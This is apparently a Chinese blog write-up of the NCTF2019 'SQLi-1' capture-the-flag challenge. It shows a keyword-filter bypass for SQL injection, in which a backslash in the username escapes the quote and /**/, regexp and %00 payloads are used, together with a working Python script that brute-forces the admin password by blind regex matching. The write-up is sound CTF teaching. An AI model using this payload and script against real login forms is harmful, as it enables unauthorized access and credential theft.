• [NCTF2019]SQLi-1||SQL注入


    1、打开之后首先尝试万能密码登录和部分关键词(结果如下:

    2、使用dirmap进行目录扫描,发现robots.txt文件,结果如下:

    3、访问robots.txt文件,发现hint.txt文件并进行访问,发现提示信息和过滤的一堆关键字,结果如下:

    4、获得提示信息,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了,这里想到了做的上一个sql注入题:https://www.cnblogs.com/upfine/p/16527723.html,采用的是正则表达式来获取flag的值,因此这里在select等关键字被过滤的情况下,这里也可以使用正则表达式来匹配admin的密码进而来获取flag值,确定获取密码的方式之后就需要确定注入点,来使用正则表达式来逐步获取密码的值,这里想到了对name中的第二个字符进行转义,使后面的' and passwd=成为name的内容,payload:name:\,passwd:||/**/1;%00,观察返回的数据包发现与之前返回的不同,确定注入点存在,结果如下:

    5、确定注入点存在位置后就根据分析采用正则表达式进行匹配,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^a";%00,手工结果如下:

    6、确定第一位后那就确定第二位,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^yo";%00,结果如下:

    7、手工过程就这样一步一步获取密码信息,当然手工看看就行了,实际还得是通过脚本来获取密码信息,代码和结果如下:

    脚本代码:

    1. import requests
    2. from urllib import parse
    3. import time
    4. #跑出密码后发现没有大写字母,因此就去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
    5. strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
    6. url = 'http://a58a046b-e948-4bf4-8622-7df7271753ca.node4.buuoj.cn:81'
    7. passwd = ''
    8. i = 1
    9. while i < 80:
    10. for one_char in strings:
    11. data = {
    12. 'username':'\\',
    13. 'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
    14. }
    15. rs = requests.post(url,data).content.decode('utf-8')
    16. time.sleep(0.01)
    17. if 'welcome' in rs:
    18. passwd = passwd + one_char
    19. print("\r", end="")
    20. print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
    21. i = i + 1
    22. break
    23. if one_char=='~' and 'welcome' not in rs:
    24. print('\n密码共'+str(i-1)+'位,已匹配完成')
    25. i = 80
    26. break

    密码值:you_will_never_know7788990,如下:

    8、获取到admin的密码后,随便输入一个用户名并使用这个密码进行登录成功获取到flag值,结果如下:

    9、注意:

      脚本可以适当的修改延时时间,如果使用时报错,那就从新跑一下或修改下延时时间。

      payload不要带上了空格,空格也被过滤了。

  • 相关阅读:
    win11系统中nginx简单的代理配置
    普通Java工程可执行JAR两种打包方式探讨
    openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果
    基于iptables防火墙堵漏
    VSSM VMamba实现
    C语言|图解指针变量
    .NET餐厅管理系统sql数据帮助类执行SQL返回DataReader数据集、执行SQL语句,返回影响的记录数、执行多条SQL语句,实现数据库事务。
    一句话说明:企业架构框架鼻祖Zachman
    mulesoft Module 9 quiz 解析
    研一如何开始大模型微调
  • 原文地址:https://blog.csdn.net/sinat_40572875/article/details/127999945